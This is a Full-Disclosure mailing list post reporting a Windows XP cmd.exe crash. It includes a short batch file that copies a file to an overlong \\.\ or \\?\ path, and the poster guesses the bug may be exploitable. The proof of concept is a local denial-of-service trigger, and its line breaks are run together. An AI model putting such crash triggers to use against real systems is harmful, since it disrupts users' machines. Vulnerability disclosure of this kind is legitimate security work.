[Full-disclosure] Windows XP cmd.exe crash



Ey list! Just something quick and funny crash I found long time ago and it may 
give some of you something to check this weekend.
Windows XP cmd.exe crash when trying to copy files with a very long name. The 
following BATCH file can crash the cmd.exe process:
----------------------------------- crash.bat 
--------------------------------------@echo offecho test > data.txtcopy 
"%CD%"\data.txt 
\\.\C:\AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.txtREM
 copy "%CD%"\data.txt 
\\?\C:\AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.txt----------------------------------
 / crash.bat ----------------------------------------
It only happens with "copy" but not with "move" command and with both \\.\ and 
\\?\ prefixes. I'm not an expert on these fields so I don't know if it will be 
possible to exploit it, maybe some of you with crazy kung fu skills can do it. 
If not, it's just a weird behaviour for the cmd.exe and given that is less than 
a year to the end of life of the Windows XP cannot see any harm sharing it.
Ta!
